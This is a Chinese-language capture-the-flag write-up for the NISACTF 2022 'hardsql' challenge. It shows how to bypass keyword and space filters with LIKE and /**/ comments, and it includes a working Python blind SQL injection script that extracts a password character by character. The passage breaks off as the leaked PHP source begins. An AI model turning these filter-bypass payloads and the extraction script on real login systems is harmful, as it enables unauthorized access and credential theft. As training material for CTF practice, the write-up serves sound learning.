题目地址:[NSSCTF - NISACTF 2022]hardsql (ctfer.vip)
是一个sql注入的题目,题目描述有如下提示
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
用户名必须为’bilala’,password内容可控
fuzz一下,过滤了if,sleep,char,||,=,空格等,但是有一点是题目给出了查询语句,也就是我们知道了表明字段名,而且or没有被过滤,这就可以使用like去代替=,用/**/代替空格去进行盲注
payload=1'/**/or/**/passwd/**/like/**/'b2%'# 回显成功,第一位为b
写出盲注脚本
import requests
url = "http://1.14.71.254:28409/index.php"
set = 'qwertyuiopasdfghjklzxcvbnm0123456789'
password = ""
for i in range(1,50):
for j in set:
payload = "-1'/**/or/**/passwd/**/like/**/'{}%'#".format(password + j)
data = {
'username': 'bilala', 'passwd': payload}
resp = requests.post(url=url,data=data)
#print(res.text)
if "wrong password" in resp.text:
password += j
print(password)
break
print(password)
得到密码b2f2d15b3ae082ca29697d8dcd420fd7
登入之后并没有flag而是给出了源码
<?php
//多加了亿点点过滤
include_once("config.php");
function